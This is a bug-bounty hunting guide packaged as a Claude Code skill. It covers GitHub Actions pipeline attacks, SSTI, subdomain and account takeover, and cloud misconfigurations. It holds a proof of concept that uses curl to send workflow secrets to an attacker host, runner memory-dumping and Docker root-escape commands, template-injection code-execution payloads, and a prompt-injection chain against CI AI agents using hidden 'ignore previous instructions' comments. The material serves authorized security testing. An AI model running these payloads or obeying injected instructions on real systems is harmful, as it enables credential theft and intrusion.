• [ ] Output clobbering — untrusted input → $GITHUB_OUTPUT without heredoc delimiter = downstream job manipulation
• [ ] Argument injection — untrusted input as CLI argument (e.g., docker run ${{ ... }})

  # VULNERABLE
  run: docker run ${{ github.event.pull_request.body }}

  # FIXED — end-of-options marker + env var
  env:
    INPUT: ${{ github.event.pull_request.body }}
  run: docker run -- "$INPUT"

• [ ] Request forgery (SSRF) — attacker-controlled URL in curl/wget within workflow

Category 2: Pipeline Poisoning & Untrusted Checkout

Root cause: Privileged triggers (pull_request_target, workflow_run) checkout attacker's PR code, which then runs with repository secrets.

• [ ] Untrusted checkout — actions/checkout on pull_request_target without explicit safe ref

  # VULNERABLE — checks out attacker's PR code with repo secrets
  on: pull_request_target
  jobs:
    build:
      steps:
        - uses: actions/checkout@v4
          with:
            ref: ${{ github.event.pull_request.head.sha }}  # ATTACKER CODE
        - run: make build  # runs attacker's Makefile with secrets

  # FIXED — only checkout base branch, or use read-only permissions
  permissions: {}
  steps:
    - uses: actions/checkout@v4  # checks out base branch by default

• [ ] TOCTOU (Time-of-Check-Time-of-Use) — label-gated approval + mutable ref = attacker adds label, pushes malicious commit after approval
• [ ] Reusable workflow taint — secrets: inherit passes all secrets to called workflow that processes untrusted input
• [ ] Cache poisoning — untrusted checkout → build → cache write → trusted workflow reads poisoned cache
• [ ] Cache poisoning (poisonable step) — unsafe checkout followed by build step before cache save
• [ ] Artifact poisoning — actions/download-artifact from untrusted workflow_run without validation

  # VULNERABLE — downloads artifact from untrusted workflow, then executes it
  on: workflow_run
  steps:
    - uses: actions/download-artifact@v4
    - run: ./downloaded-binary  # attacker-controlled binary

  # FIXED — verify artifact hash/signature before execution

• [ ] Artipacked — actions/checkout with persist-credentials: true (default) leaks .git/config credentials in uploaded artifacts

  # FIXED
  - uses: actions/checkout@v4
    with:
      persist-credentials: false

Category 3: Supply Chain & Dependency Security (CICD-SEC-08)

• [ ] Unpinned actions — uses: actions/checkout@v4 (mutable tag) instead of SHA pin

  # VULNERABLE — tag can be force-pushed
  uses: actions/checkout@v4

  # FIXED — pinned to immutable commit SHA
  uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1

• [ ] Impostor commit — fork network allows pushing commits with SHA that appears to belong to upstream repo
• [ ] Ref confusion — ambiguous tag/branch names exploited to load unintended action version
• [ ] Known vulnerable actions — check actions against GHSA database (sisakulint detects automatically)
• [ ] Archived actions — unmaintained action with unpatched vulnerabilities
• [ ] Unpinned container images — image: ubuntu:latest instead of SHA256 digest pin

Category 4: Credential & Secret Protection

• [ ] Secret exfiltration — curl https://evil.com/${{ secrets.TOKEN }} in workflow
• [ ] Secrets in artifacts — uploaded artifacts contain .env, credentials, or hidden files

  # FIXED — exclude hidden files
  - uses: actions/upload-artifact@v4
    with:
      include-hidden-files: false

• [ ] Unmasked secrets — fromJson() derived values bypass GitHub's automatic masking

  # FIXED — manually mask derived secrets
  run: |
    TOKEN=$(echo '${{ secrets.JSON_CREDS }}' | jq -r '.token')
    echo "::add-mask::$TOKEN"

• [ ] Excessive secrets: inherit — reusable workflow call inherits all secrets when it only needs one
• [ ] Hardcoded credentials — API keys, passwords, tokens directly in workflow YAML

Category 5: Triggers & Access Control (CICD-SEC-01)

• [ ] Dangerous triggers without mitigation — pull_request_target or workflow_run with no permissions: {}, no approval gate, no ref restriction
• [ ] Dangerous triggers with partial mitigation — some protections present but bypassable
• [ ] Label-based approval bypass — if: contains(github.event.pull_request.labels.*.name, 'approved') is spoofable (attacker can add labels)
• [ ] Bot condition spoofing — if: github.actor != 'dependabot[bot]' is trivially bypassed by naming account similarly
• [ ] Excessive GITHUB_TOKEN permissions — permissions: write-all when only contents: read needed
• [ ] Self-hosted runners in public repos — untrusted PRs execute on org infrastructure = container escape → lateral movement
• [ ] OIDC token theft — CI runners expose OIDC tokens that grant cloud access

Category 6: AI Agent Security (NEW — 2025+)

• [ ] Unrestricted AI trigger — allowed_non_write_users: "*" lets any user trigger AI agent execution
• [ ] Excessive tool grants — AI agent given Bash/Write/Edit tools in untrusted trigger context = attacker prompt → RCE
• [ ] Prompt injection via workflow context — ${{ github.event.issue.body }} interpolated into AI agent prompt parameter

Hunting Workflow

1. Recon: find all .github/workflows/*.yml in target's public repos
2. Scan: sisakulint scan .github/workflows/ (or --remote owner/repo)
3. Triage: Critical/High findings → manual verification
4. For each finding:
   a. Can I trigger this as an external contributor? (fork PR, issue creation, comment)
   b. What secrets are accessible? (check permissions: block, secrets usage)
   c. What's the blast radius? (repo secrets → deploy keys → cloud access)
5. PoC: create a fork, submit PR/issue that triggers the vulnerable workflow
6. Prove: show secret exfiltration, code execution, or artifact tampering

Expression Injection PoC Template

# Step 1: Create an issue with injection payload in title
gh issue create --repo TARGET/REPO --title '"; curl https://ATTACKER.burpcollaborator.net/$(cat $GITHUB_ENV | base64 -w0) #' --body "test"

# Step 2: If workflow triggers on issues and interpolates title → secrets exfiltrated
# CVSS: 9.3 Critical (RCE with repo secrets)

Real-World GHSAs (Proven Payouts)

| GHSA | Action | Bug Class | Severity |

|---|---|---|---|

| GHSA-gq52-6phf-x2r6 | tj-actions/branch-names | Expression injection via branch name | Critical |

| GHSA-4xqx-pqpj-9fqw | atlassian/gajira-create | Code injection in privileged trigger | Critical |

| GHSA-g86g-chm8-7r2p | check-spelling/check-spelling | Secret exposure in build logs | Critical |

| GHSA-cxww-7g56-2vh6 | actions/download-artifact | Artifact poisoning (official action) | High |

| GHSA-h3qr-39j9-4r5v | gradle/gradle-build-action | Cache poisoning via untrusted checkout | High |

| GHSA-mrrh-fwg8-r2c3 | tj-actions/changed-files | Supply chain — impostor commit | High |

| GHSA-phf6-hm3h-x8qp | broadinstitute/cromwell | Token exposure via code injection | Critical |

| GHSA-qmg3-hpqr-gqvc | reviewdog/action-setup | Time-bomb via tag pinning | High |

| GHSA-vqf5-2xx6-9wfm | github/codeql-action | Known vulnerable official action | High |

| GHSA-hw6r-g8gj-2987 | pytorch/pytorch | Argument injection in build workflow | Moderate |

A→B Signal: CI/CD Chains

Expression injection → secret exfiltration → cloud account takeover
Untrusted checkout → Makefile RCE → deploy key theft → repo takeover
Artifact poisoning → release binary tampering → supply chain compromise
Cache poisoning → build output manipulation → backdoored deployment
Impostor commit → pinned action hijack → all downstream repos affected
OIDC token theft → cloud metadata → S3/GCS read → customer data
Self-hosted runner → container escape → internal network pivot

Deep-Dive: From sisakulint Finding to Bounty Report

sisakulint findings are potentially exploitable — not confirmed bugs. Every finding needs manual verification. The patterns below are extracted from 36 real-world paid reports ($250K+ total payouts). Each section follows the thinking that led to actual bounty payments.

1. Code Injection / Argument Injection

Gate question: Can an external attacker trigger this workflow AND does the tainted input reach a shell context?

Verification depth:

1. Trigger accessibility — issues: opened and issue_comment: created are triggerable by ANY GitHub user. pull_request_target is triggerable via fork PR. Check if there's an if: condition filtering by actor/association.
2. Direct vs transitive taint — The workflow file itself may look safe. Cycode found Bazel's $13K bug because cherry-picker.yml passed ${{ github.event.issue.title }} via with: to a composite action in another repo (bazelbuild/continuous-integration). The composite action's action.yml had run: TITLE="${{ inputs.issue-title }}". Conventional scanners (actionlint) missed this because they don't follow uses: into external composite actions. Always fetch and read the composite action's action.yml.
3. Payload construction — Branch names cannot contain spaces. Ultralytics YOLO attacker used ${IFS} (Internal Field Separator) and Bash brace expansion {curl,-sSfL,URL} to bypass this. Issue titles/bodies have no such restriction.
4. Secrets reachability — Check permissions: at workflow AND job level. No explicit permissions: block = repo default (often write-all). Check env: blocks for ${{ secrets.* }}. Check if GITHUB_TOKEN has write permissions.
5. Impact chain — Bazel: issue title injection → composite action shell injection → BAZEL_IO_TOKEN + GITHUB_TOKEN (write-all) → Bazel codebase backdoor capability (affects Google, Kubernetes, Uber, LinkedIn).

Kill signals: ${{ contains(...) }} or ${{ startsWith(...) }} returning booleans are NOT injectable — false positive. ${{ github.event.pull_request.labels.*.name }} inside contains() evaluates to true/false, not the label text.

2. Untrusted Checkout (Pwn Request)

Gate question: Does the workflow checkout attacker-controlled code AND then execute something from that checkout?

Verification depth:

1. Explicit vs implicit code execution — The Flank $7.5K bug: gh pr checkout → gradle/gradle-build-action runs Gradle → Gradle auto-evaluates settings.gradle.kts as Kotlin script. The attacker never wrote a run: command. Any build tool that reads config from the repo is an execution vector: Makefile, package.json (postinstall scripts), setup.py, build.gradle.kts, .cargo/config.toml, Gemfile.
2. Issue_comment is as dangerous as pull_request_target — Rspack NPM token theft: issue_comment trigger + refs/pull/${{ github.event.issue.number }}/head checkout. issue_comment runs in base repo context with full secrets. Draft PRs are included. No contributor status check. Always check issue_comment workflows for PR checkout patterns.
3. Self-hosted runner escalation — If runs-on: contains self-hosted, check: (a) Is the runner ephemeral? (--ephemeral in config.sh). (b) Is the runner in Docker group? (docker run -v /:/host --privileged). (c) PyTorch pattern: contributor trick (typo fix PR → merge → contributor status → auto-trigger on self-hosted runner without approval) → RoR (Runner-on-Runner: RUNNER_TRACKING_ID=0 + install attacker's runner agent) → wait for privileged workflow → steal PATs from .git/config or process memory.
4. TOCTOU — Label-gated pull_request_target workflows: attacker gets label added (social engineering), workflow checks label exists, attacker pushes malicious commit between check and checkout. The ref: at checkout time resolves to the new commit. Mutable refs (github.event.pull_request.head.sha at trigger time vs checkout time) are the root cause.
5. Post-exploitation — After initial access, enumerate all secrets: env | base64, cat /proc/self/environ, gcore $(pgrep Runner.Worker) + strings core.* | grep ghp_. PyTorch attackers got 3 bot PATs → combined them to bypass branch protection on main.

Kill signals: if: "!github.event.pull_request.head.repo.fork" blocks external attackers. permissions: {} at workflow level with only contents: read at job level limits damage. Ephemeral runners with --ephemeral flag prevent persistence.

3. Artifact Poisoning

Gate question: Is there a TWO-STAGE workflow pattern where Stage 1 (pull_request, no secrets) uploads artifacts and Stage 2 (workflow_run, with secrets) downloads and uses them?

Verification depth:

1. Cross-workflow artifact flow — Same-workflow upload/download (build job → test job via needs:) is NOT poisonable because the attacker's PR runs their own build. The dangerous pattern is: pull_request workflow uploads → separate workflow_run workflow downloads. workflow_run triggers on the completion of another workflow and runs in the DEFAULT BRANCH context with full secrets.
2. Download path matters — actions/download-artifact with path: . or workspace-relative paths (grafana-server/bin) can overwrite source code, build scripts, or binaries. Safe pattern: extract to ${{ runner.temp }}/artifacts.
3. Source validation — Does the workflow_run consumer check github.event.workflow_run.head_repository.full_name != github.repository? If not, fork PR artifacts are consumed blindly. Rust release pipeline was vulnerable to exactly this.
4. ArtiPACKED (persist-credentials) — actions/checkout defaults to persist-credentials: true. This writes GITHUB_TOKEN to .git/config. If the artifact upload path includes .git/ (e.g., path: .), the token is publicly downloadable from the Actions artifact. Check: does any upload-artifact step use path: . or a broad path that includes .git/?

Kill signals: Upload and download in the same workflow run (connected by needs:). workflow_run consumer that explicitly checks fork origin. persist-credentials: false on checkout.

4. Cache Poisoning

Gate question: Can a fork PR write a cache entry that the default branch later restores in a privileged context?

CRITICAL: GitHub's cache scoping does NOT fully prevent this. A PR branch can read caches from the default branch. A fork PR workflow can WRITE cache entries. If the cache key is deterministic (hashFiles('package-lock.json')) and the attacker doesn't modify that file, the fork PR writes to the SAME cache key.

Verification depth:

1. Key predictability — key: ${{ runner.os }}-node-${{ hashFiles('package-lock.json') }} is fully predictable. Adding github.sha or github.run_id to the key makes it unpredictable. Check every cache key for the presence of an unpredictable component.
2. Cache hierarchy exploitation — workflow_run and workflow_dispatch workflows run in the default branch context. If they write to caches with predictable keys, an attacker who can trigger the upstream workflow (via fork PR) can pre-poison the cache. The run-dashboard-search-e2e.yml pattern: workflow_run trigger → actions/cache with hashFiles() key → all PR workflows read this cache.
3. Payload injection — Cacheract: inject malware into package manager caches (node_modules/.cache, ~/.cache/pip, ~/.gradle/caches). The malware self-perpetuates because each restore → build → save cycle preserves the payload. Cache TTL is 7 days — the payload survives across multiple workflow runs.
4. Privileged consumption — The cache is restored in a push or schedule workflow on the default branch. These workflows have full secrets access. The poisoned dependency executes during npm install / pip install / gradle build and exfiltrates secrets.
5. Clinejection chain — Prompt injection → AI agent runs npm install from attacker commit → Cacheract in npm cache → nightly publish workflow restores cache → VSCE_PAT, OVSX_PAT, NPM_RELEASE_TOKEN stolen → malicious Cline v2.3.0 published for 8 hours.

Kill signals: Cache key includes github.sha or github.run_id. Separate cache keys per workflow. actions/cache/restore (read-only) instead of actions/cache (read-write) in PR workflows.

5. Self-Hosted Runners

Gate question: Is a self-hosted runner used in a PUBLIC repo where external contributors can trigger workflows?

Verification depth:

1. Approval settings — Default: "Require approval for first-time contributors". After ONE merged PR (even a typo fix), the attacker becomes a "contributor" and subsequent PRs auto-trigger without approval. GitHub runner-images $20K bug used exactly this trick.
2. Runner persistence — Non-ephemeral runners retain state between jobs. RUNNER_TRACKING_ID=0 prevents the runner from cleaning up attacker processes after job completion. Detached Docker containers (docker run -d --restart always) also survive cleanup.
3. Runner-on-Runner (RoR) — Install an official GitHub Actions runner binary on the target's self-hosted runner, register it to attacker's private org. Uses only legitimate GitHub binaries and HTTPS to github.com — indistinguishable from normal runner traffic. No C2 server needed. GitHub itself is the C2.
4. Lateral movement — RoR persistence → wait for privileged push/schedule workflows → steal tokens from .git/config, $GITHUB_ENV, /proc/PID/environ, or Runner.Worker process memory. PyTorch: 3 bot PATs → 93 repos → AWS S3 write access → pip install pytorch supply chain.
5. Docker group escalation — docker run -v /:/host --privileged alpine chroot /host → full host root. Add SSH keys, modify sudoers, install persistent backdoors.

Kill signals: --ephemeral flag on runner registration. "Require approval for ALL outside collaborators" (not just first-time). Runner not in Docker group. Private repo (no external PRs).

6. Supply Chain (commit-sha / impostor-commit / ref-confusion)

Gate question: Does the workflow use mutable tags (@v1, @v2) for actions, and could those tags be replaced?

Verification depth:

1. Tag mutability — git tag -f v1 <malicious-commit> replaces the tag. 98.4% of repos don't use SHA pinning (Legit Security 2024). tj-actions attack: all version tags (v1, v35, v45) replaced with memdump.py payload → 23K repos affected → 218 confirmed secret leaks.
2. Impostor commits — Fork network shares object store with parent. Attacker pushes a commit to fork, then references that commit SHA in the parent repo's uses:. GitHub resolves it because the SHA exists in the shared object store.
3. RepoJacking — Org renames create a redirect. Old name becomes available. Attacker registers old org name, creates same repo, hosts malicious action. Shopify/unity-buy-sdk used MirrorNG/unity-runner → MirrorNG renamed to MirageNet → MirrorNG was claimable. Check: GET /users/<action-owner> returns 404? Takeover possible.
4. Payload stealth — tj-actions memdump.py: extract secrets from Runner.Worker process memory via /proc/PID/maps + /proc/PID/mem, encrypt with AES+RSA, output to workflow log. Logs are publicly visible but encrypted — only attacker has the key.

Kill signals: Full 40-char SHA pinning (uses: actions/checkout@b4ffde65...). Dependabot configured for github-actions ecosystem. Organization-level action allowlist.

7. AI Agent Security

Gate question: Is an AI agent (Gemini CLI, Claude Code, Cline, Codex) invoked in a workflow where external users can influence the prompt?

Verification depth:

1. Trigger + prompt source — issues: opened → AI triage bot reads github.event.issue.body. The body IS the prompt. HTML comments (<!-- ignore previous instructions -->) are invisible in GitHub UI but included in the API response and thus in the AI prompt.
2. Tool permissions — If the AI agent has Bash/Write/Edit tools and runs with secrets in env, prompt injection = RCE + secret exfil. allowed_non_write_users: "*" means ANY user can trigger.
3. Multi-phase chain — Clinejection: prompt injection → AI runs npm install from attacker commit → Cacheract plants in npm cache → nightly publish restores cache → tokens stolen → malicious version published. A prompt injection finding alone may seem low-severity, but it's a gateway to cache poisoning and supply chain attacks.

Kill signals: author_association == 'MEMBER' || 'OWNER' check before AI processing. --read-only --no-exec flags on AI CLI. permissions: {} at workflow level.

8. Permissions / Secrets Hygiene

Not standalone bugs — these are force multipliers. A code-injection-medium with permissions: write-all is Critical. The same injection with permissions: { contents: read } is limited.

Chaining checklist:

• secrets: inherit on reusable workflow call → all org secrets accessible to called workflow
• permissions: block missing → repo default (often write-all)
• GITHUB_TOKEN with contents: write → CVE-2022-46258 pattern: use Contents API to create new workflow file → new workflow accesses ALL repo/org secrets (the original workflow never referenced them)

Key references:

• sisaku-security/agent-idea/bugbountyreport — 36 real-world reports with full attack chains
• sisakulint docs/advisory — 38 GHSAs with detection mapping
• DEF CON 32: Grand Theft Actions — Khan & Stawinski, $250K+ in self-hosted runner bugs
• Synacktiv: GitHub Actions Exploitation (5 parts)

SSTI -- Server-Side Template Injection

Detection Payloads

{{7*7}}          -> 49 = Jinja2 / Twig / generic
${7*7}           -> 49 = Freemarker / Pebble / Velocity
<%= 7*7 %>       -> 49 = ERB (Ruby)
#{7*7}           -> 49 = Mako / some Ruby
*{7*7}           -> 49 = Spring (Thymeleaf)
{{7*'7'}}        -> 7777777 = Jinja2 (Twig gives 49)

Where to Test

• Name/bio/description fields (profile pages)
• Email templates (invoice name, username in confirmation email)
• Custom error messages
• PDF generators (invoice, report export)
• URL path parameters
• Search queries reflected in results

Jinja2 -> RCE (Python / Flask)

{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

Twig -> RCE (PHP / Symfony)

{{["id"]|filter("system")}}

Freemarker -> RCE (Java)

<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

ERB -> RCE (Ruby on Rails)

<%= `id` %>

Subdomain Takeover

Detection

# Check for dangling CNAMEs
cat /tmp/subs.txt | dnsx -silent -cname -resp | grep -i "CNAME" | tee /tmp/cnames.txt
# Look for CNAMEs to: github.io, heroku.com, azurewebsites.net, netlify.app, s3.amazonaws.com

# Automated takeover detection
nuclei -l /tmp/subs.txt -t ~/nuclei-templates/takeovers/ -o /tmp/takeovers.txt

Quick-Kill Fingerprints

"There isn't a GitHub Pages site here"  -> GitHub Pages
"NoSuchBucket"                          -> AWS S3
"No such app"                           -> Heroku
"404 Web Site not found"                -> Azure App Service
"Fastly error: unknown domain"          -> Fastly CDN
"project not found"                     -> GitLab Pages
"It looks like you may have typed..."   -> Shopify

Impact Escalation

• Basic takeover: serve page under target.com subdomain -> Low/Medium
• + Cookies: if target.com sets cookie with domain=.target.com -> credential theft -> High
• + OAuth redirect: if sub.target.com is a registered redirect_uri -> ATO chain -> Critical
• + CSP bypass: if sub.target.com is in target's CSP -> XSS anywhere -> Critical

ATO -- Account Takeover (Complete Taxonomy)

Path 1: Password Reset Poisoning (Host Header Injection)

POST /forgot-password
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
email=victim@company.com
# If reset link = https://attacker.com/reset?token=XXXX -> ATO
# Also try: X-Forwarded-Host, X-Host, X-Forwarded-Server

Path 2: Reset Token in Referrer Leak

After clicking reset link, if page loads external resources -> token in Referer header to external domain.

Path 3: Predictable / Weak Reset Tokens

# If token < 16 hex chars or numeric only -> brute-forceable
ffuf -u "https://target.com/reset?token=FUZZ" -w <(seq -w 000000 999999) -fc 404 -t 50

Path 4: Token Not Expiring / Reuse

Request token -> wait 2 hours -> use it -> still works? Request token #1 -> request token #2 -> use token #1 -> still works?

Path 5: Email Change Without Re-Authentication

PUT /api/user/email
{"new_email": "attacker@evil.com"}
# If no current_password required -> attacker changes email -> locks out victim

Path 6: OAuth Account Linking Abuse

Can you link an OAuth account from a different email to an existing account?

Path 7: Session Fixation

GET /login -> note Set-Cookie session=XYZ -> Log in -> does session ID change? If not = fixation.

Cloud / Infra Misconfigs

S3 / GCS / Azure Blob

# S3 public listing
aws s3 ls s3://target-bucket-name --no-sign-request

# Try common names
for name in target target-backup target-assets target-prod target-staging target-uploads target-data; do
  curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/"
done

EC2 Metadata (via SSRF)

http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns role name, then:
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
# Returns AccessKeyId, SecretAccessKey, Token -> Critical

# GCP (needs header Metadata-Flavor: Google):
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

# Azure (needs header Metadata: true):
http://169.254.169.254/metadata/instance?api-version=2021-02-01

Firebase Open Rules

curl -s "https://TARGET-APP.firebaseio.com/.json"
# If data returned -> open read
curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"'
# If success -> open write -> Critical

Exposed Admin Panels

/jenkins       /grafana       /kibana        /elasticsearch
/swagger-ui.html  /api-docs   /phpMyAdmin    /adminer.php
/.env          /config.json   /server-status /actuator/env

Kubernetes / Docker

# K8s API (unauthenticated):
curl -sk https://TARGET:6443/api/v1/namespaces/default/pods
# Docker API:
curl -s http://TARGET:2375/containers/json

---

PHASE 4: VALIDATE

The 7-Question Gate (Run BEFORE Writing ANY Report)

All 7 must be YES. Any NO -> STOP.

Q1: Can I exploit this RIGHT NOW with a real PoC?

Write the exact HTTP request. If you cannot produce a working request -> KILL IT.

Q2: Does it affect a REAL user who took NO unusual actions?

No "the user would need to..." with 5 preconditions. Victim did nothing special.

Q3: Is the impact concrete (money, PII, ATO, RCE)?

"Technically possible" is not impact. "I read victim's SSN" is impact.

Q4: Is this in scope per the program policy?

Check the exact domain/endpoint against the program's scope page.

Q5: Did I check Hacktivity/changelog for duplicates?

Search the program's disclosed reports and recent changelog entries.

Q6: Is this NOT on the "always rejected" list?

Check the list below. If it's there and you can't chain it -> KILL IT.

Q7: Would a triager reading this say "yes, that's a real bug"?

Read your report as if you're a tired triager at 5pm on a Friday. Does it pass?

4 Pre-Submission Gates

Gate 0: Reality Check (30 seconds)

[ ] The bug is real -- confirmed with actual HTTP requests, not just code reading
[ ] The bug is in scope -- checked program scope explicitly
[ ] I can reproduce it from scratch (not just once)
[ ] I have evidence (screenshot, response, video)

Gate 1: Impact Validation (2 minutes)

[ ] I can answer: "What can an attacker DO that they couldn't before?"
[ ] The answer is more than "see non-sensitive data"
[ ] There's a real victim: another user's data, company's data, financial loss
[ ] I'm not relying on the user doing something unlikely

Gate 2: Deduplication Check (5 minutes)

[ ] Searched HackerOne Hacktivity for this program + similar bug title
[ ] Searched GitHub issues for target repo
[ ] Read the most recent 5 disclosed reports for this program
[ ] This is not a "known issue" in their changelog or public docs

Gate 3: Report Quality (10 minutes)

[ ] Title: One sentence, contains vuln class + location + impact
[ ] Steps to reproduce: Copy-pasteable HTTP request
[ ] Evidence: Screenshot/video showing actual impact (not just 200 response)
[ ] Severity: Matches CVSS 3.1 score AND program's severity definitions
[ ] Remediation: 1-2 sentences of concrete fix

CVSS 3.1 Quick Guide

| Factor | Low (0-3.9) | Medium (4-6.9) | High (7-8.9) | Critical (9-10) |

|--------|-------------|----------------|--------------|-----------------|

| Attack Vector | Physical | Local | Adjacent | Network |

| Privileges | High | Low | None | None |

| User Interaction | Required | Required | None | None |

| Impact | Partial | Partial | High | High (all 3) |

Typical Scores by Bug Class

| Bug | Typical CVSS | Severity |

|----|------|---------|

| IDOR (read PII) | 6.5 | Medium |

| IDOR (write/delete) | 7.5 | High |

| Auth bypass -> admin | 9.8 | Critical |

| Stored XSS | 5.4-8.8 | Med-High |

| SQLi (data exfil) | 8.6 | High |

| SSRF (cloud metadata) | 9.1 | Critical |

| Race condition (double spend) | 7.5 | High |

| GraphQL auth bypass | 8.7 | High |

| JWT none algorithm | 9.1 | Critical |

---

ALWAYS REJECTED -- Never Submit These

Missing CSP/HSTS/security headers, missing SPF/DKIM/DMARC, GraphQL introspection alone, banner/version disclosure without working CVE exploit, clickjacking on non-sensitive pages, tabnabbing, CSV injection, CORS wildcard without credential exfil PoC, logout CSRF, self-XSS, open redirect alone, OAuth client_secret in mobile app, SSRF DNS-ping only, host header injection alone, no rate limit on non-critical forms, session not invalidated on logout, concurrent sessions, internal IP disclosure, mixed content, SSL weak ciphers, missing HttpOnly/Secure cookie flags alone, broken external links, pre-account takeover (usually), autocomplete on password fields.

N/A hurts your validity ratio. Informative is neutral. Only submit what passes the 7-Question Gate.

Conditionally Valid With Chain

These low findings become valid bugs when chained:

| Low Finding | + Chain | = Valid Bug |

|------------|---------|-------------|

| Open redirect | + OAuth code theft | ATO |

| Clickjacking | + sensitive action + PoC | Account action |

| CORS wildcard | + credentialed exfil | Data theft |

| CSRF | + sensitive state change | Account takeover |

| No rate limit | + OTP brute force | ATO |

| SSRF (DNS only) | + internal access proof | Internal network access |

| Host header injection | + password reset poisoning | ATO |

| Self-XSS | + login CSRF | Stored XSS on victim |

---

PHASE 5: REPORT

HackerOne Report Template

Title: [Vuln Class] in [endpoint/feature] leads to [Impact]

## Summary
[2-3 sentences: what it is, where it is, what attacker can do]

## Steps To Reproduce
1. Log in as attacker (account A)
2. Send request: [paste exact request]
3. Observe: [exact response showing the bug]
4. Confirm: [what the attacker gained]

## Supporting Material
[Screenshot / video of exploitation]
[Burp Suite request/response]

## Impact
An attacker can [specific action] resulting in [specific harm].
[Quantify if possible: "This affects all X users" or "Attacker can access Y data"]

## Severity Assessment
CVSS 3.1 Score: X.X ([Severity label])
Attack Vector: Network | Complexity: Low | Privileges: None | User Interaction: None

Bugcrowd Report Template

Title: [Vuln] at [endpoint] -- [Impact in one line]

Bug Type: [IDOR/SSRF/XSS/etc]
Target: [URL or component]
Severity: [P1/P2/P3/P4]

Description:
[Root cause + exact location]

Reproduction:
1. [step]
2. [step]
3. [step]

Impact:
[Concrete business impact]

Fix Suggestion:
[Specific remediation]

Human Tone Rules (Avoid AI-Sounding Writing)

• Start sentences with the impact, not the vulnerability name
• Write like you're explaining to a smart developer, not a textbook
• Use "I" and active voice: "I found that..." not "A vulnerability was discovered..."
• One concrete example beats three abstract sentences
• No em dashes, no "comprehensive/leverage/seamless/ensure"

Report Title Formula

[Bug Class] in [Exact Endpoint/Feature] allows [attacker role] to [impact] [victim scope]

Good titles:

IDOR in /api/v2/invoices/{id} allows authenticated user to read any customer's invoice data
Missing auth on POST /api/admin/users allows unauthenticated attacker to create admin accounts
Stored XSS in profile bio field executes in admin panel -- allows privilege escalation
SSRF via image import URL parameter reaches AWS EC2 metadata service
Race condition in coupon redemption allows same code to be used unlimited times

Bad titles:

IDOR vulnerability found
Broken access control
XSS in user input
Security issue in API

Impact Statement Formula (First Paragraph)

An [attacker with X access level] can [exact action] by [method], resulting in [business harm].
This requires [prerequisites] and leaves [detection/reversibility].

The 60-Second Pre-Submit Checklist

[ ] Title follows formula: [Class] in [endpoint] allows [actor] to [impact]
[ ] First sentence states exact impact in plain English
[ ] Steps to Reproduce has exact HTTP request (copy-paste ready)
[ ] Response showing the bug is included (screenshot or response body)
[ ] Two test accounts used (not just one account testing itself)
[ ] CVSS score calculated and included
[ ] Recommended fix is one sentence (not a lecture)
[ ] No typos in the endpoint path or parameter names
[ ] Report is < 600 words (triagers skim long reports)
[ ] Severity claimed matches impact described (don't overclaim)

Severity Escalation Language

When payout is being downgraded, use these counters:

| Program Says | You Counter With |

|---|---|

| "Requires authentication" | "Attacker needs only a free account (no special role)" |

| "Limited impact" | "Affects [N] users / [PII type] / [$ amount]" |

| "Already known" | "Show me the report number -- I searched and found none" |

| "By design" | "Show me the documentation that states this is intended" |

| "Low CVSS score" | "CVSS doesn't account for business impact -- attacker can steal [X]" |

---

RESOURCES

Bug Bounty Platforms

• HackerOne Hacktivity -- Disclosed reports
• Bugcrowd Crowdstream -- Public findings
• Intigriti Leaderboard

Learning

• PortSwigger Web Academy -- Free vuln labs (best)
• HackTricks -- Attack technique reference
• PayloadsAllTheThings -- Payload reference
• Solodit -- 50K+ searchable audit findings (Web3)
• ProjectDiscovery Chaos -- Free subdomain datasets

Wordlists

• SecLists -- Comprehensive wordlists
• HowToHunt -- Step-by-step vuln hunting
• DefaultCreds -- Default credentials

Payload Databases

• XSSHunter -- Blind XSS detection
• interactsh -- OOB callback server

---

INSTALLATION (Claude Code Skill)

To use this as a Claude Code skill, copy this file to your skills directory:

# Option A: Clone the repo and link the skill
git clone https://github.com/shuvonsec/claude-bug-bounty.git ~/.claude/skills/bug-bounty
ln -s ~/.claude/skills/bug-bounty/SKILL.md ~/.claude/skills/bug-bounty/SKILL.md

# Option B: Direct copy
mkdir -p ~/.claude/skills/bug-bounty
curl -s https://raw.githubusercontent.com/shuvonsec/claude-bug-bounty/main/SKILL.md \
  -o ~/.claude/skills/bug-bounty/SKILL.md

Then in Claude Code, this skill loads automatically when you ask about bug bounty, recon, or vulnerability hunting.

---

Related Skills & Chains

• bb-methodology — When a hunting session starts and the user is "lost about what to do next." Workflow primitive: this skill is the orchestrator; bb-methodology is the 5-phase workflow it routes to. Load bb-methodology FIRST, then this skill names the topic-matched hunt-* skills.
• hunt-dispatch — When PART 0 mode (red team / WAPT) has been confirmed. Workflow primitive: this skill's "what should I do" routing hands off to hunt-dispatch for the platform fingerprint + skill-set load.
• web2-recon + offensive-osint — When Phase 1 (recon) starts. Workflow primitive: this skill's "Standard Recon Pipeline" section delegates the live execution to web2-recon and the operational arsenal (probes / wordlists / regexes) to offensive-osint.
• triage-validation + report-writing — When a finding completes Phase 4. Workflow primitive: this skill routes to triage-validation (7Q gate) → only if all 7 pass, hand off to report-writing for the platform-specific body.

---

Operator Notes (Claude-BugHunter)

> Engagement-derived additions to the vendored foundation. Wisdom from real

> authorized engagements + Phase 2 verification across this repo's 31+

> skill-area live tests. The upstream methodology covers the WHAT; this

> layer covers the WHEN-IT-ACTUALLY-WORKS and the FAILURE-MODES.

When to use the orchestrator vs a direct skill

The orchestrator (this skill) is for the "I don't yet know what bug class to hunt for" case. If you've already identified the candidate — "the response reflects my Host header into a JavaScript src URL, that's cache poisoning" — load hunt-cache-poisoning directly. The orchestrator's value is the initial routing from a fuzzy intent ("there's a chatbot, what should I test") to a concrete skill set (hunt-llm-ai + hunt-api-misconfig).

When in doubt: open the orchestrator FIRST on any new target, let it route, then close the orchestrator and work in the loaded skills. Don't keep the orchestrator loaded all session — it occupies context window that could hold actual probe results.

Common misuse: loading every hunt-* simultaneously

